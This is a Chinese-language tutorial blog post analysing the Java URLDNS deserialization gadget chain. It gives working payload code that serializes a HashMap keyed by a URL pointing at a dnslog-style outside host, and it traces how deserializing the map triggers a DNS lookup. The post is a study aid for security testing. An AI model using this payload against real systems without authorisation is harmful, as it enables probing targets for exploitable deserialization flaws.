Java安全 反序列化(1) URLDNS链原理分析
文章目录
- Java安全 反序列化(1) URLDNS链原理分析
 - 前置知识
 - 应用
 - 分析payload
 - 1.新建HashMap类
 - 2.新建URL类
 - 3.获取URL 的 Class对象
 - 4.通过反射访问URL内部变量
 - 5.通过反射为URL中类赋值
 - 6.调用HashMap#put方法传入key和value
 - 7.再次通过反射为URL类的hashcode赋值
 
- 原理分析
 - 1.进行序列化
 - 2.跟进HashMap的readobject方法
 - 3.跟进hash方法
 - 4.可以跟进URL的hashCode方法
 - 5.跟进handler.hashCode方法
 
- 细节问题
 - 为什吗要给URL类hashCode赋值两次?
 
开始学习Java反序列化链–URLDNS
前置知识
请提前了解Java序列化和反序列化,熟悉Java反射机制
应用
1.判断是否存在反序列化的点
2.判断目标是否出网
先上payload 后进行分析
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
    public static void main(String[] args) throws Exception {
        HashMap hashmap =new HashMap();
        URL url = new URL("http://wxzzwpgygc.dgrh3.cn");
        Class c = url.getClass();
        Field fieldhashcode=c.getDeclaredField("hashCode");
        fieldhashcode.setAccessible(true);
        fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
        hashmap.put(url,2);
        fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
        serialize(hashmap);
        unserialize();
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
    public static void unserialize() throws IOException, ClassNotFoundException
    {
        ObjectInputStream ois = new ObjectInputStream(new
                FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }
}
 

可以触发dns请求
分析payload
1.新建HashMap类
 HashMap hashmap =new HashMap();
 
什么是HashMap:
基于哈希表的实现的
Map接口
我们简单理解为 URLDNS链的入口类,知道这个东西就行了
2.新建URL类
 URL url = new URL("http://wxzzwpgygc.dgrh3.cn");
 
3.获取URL 的 Class对象
 Class c = url.getClass();
 
用于操作反射
4.通过反射访问URL内部变量
 Field fieldhashcode=c.getDeclaredField("hashCode");
        fieldhashcode.setAccessible(true);
 
5.通过反射为URL中类赋值
 fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
 
6.调用HashMap#put方法传入key和value
hashmap.put(url,2);
 
hashmap.put(key,value)
key 为前面新建的url类
value 为任意值
7.再次通过反射为URL类的hashcode赋值
fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
 
赋值URL类中的hashcode为-1
触发dns请求,完成访问
原理分析
1.进行序列化
 public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
 serialize(hashmap); //传入的obj为hashmap
 

那么反序列化会自动触发HashMap的readobject方法
我们可以调试分析一下
Ctrl-B跟进实现原理
2.跟进HashMap的readobject方法

在方法的最后调用了hash方法

3.跟进hash方法

进行判断只要key不为空
就 调用 key的hashCode()方法
我们传入的key是URL类的对象
所以调用的是URL#hashCode方法
4.可以跟进URL的hashCode方法

只有hashCode为-1 时
会进入hashCode = handler.hashCode(this); this为当前对象的引用
5.跟进handler.hashCode方法

我们在新建URL类时 传入了我们的dnslog地址
getHostAddress进行DNS解析,完成请求
细节问题
为什吗要给URL类hashCode赋值两次?
 fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
        hashmap.put(url,2);
        fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
 
第一次查询的时候会进行缓存触发dns请求,将URL.hashCode设置为-1,put时触发dns请求,我们可以做个实验
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
    public static void main(String[] args) throws Exception {
        HashMap hashmap =new HashMap();
        URL url = new URL("http://rcjynkewns.dgrh3.cn");
//        Class c = url.getClass();
//        Field fieldhashcode=c.getDeclaredField("hashCode");
//        fieldhashcode.setAccessible(true);
//        fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
        hashmap.put(url,2);
//        fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
//        serialize(hashmap);
//        unserialize();
    }
//    public static void serialize(Object obj) throws IOException {
//        ObjectOutputStream oos = new ObjectOutputStream(new
//                FileOutputStream("ser.bin"));
//        oos.writeObject(obj);
//        oos.close();
//    }
//    public static void unserialize() throws IOException, ClassNotFoundException
//    {
//        ObjectInputStream ois = new ObjectInputStream(new
//                FileInputStream("ser.bin"));
//        ois.readObject();
//        ois.close();
//    }
//}
 
只留下了hashmap的put方法


可以发现照样触发
为了避免误判
我们先将URL.hashCode属性赋值为 只要不是-1的值
hashmap.put()方法后
再通过反射修改URL.hashCode属性为-1 完成请求



















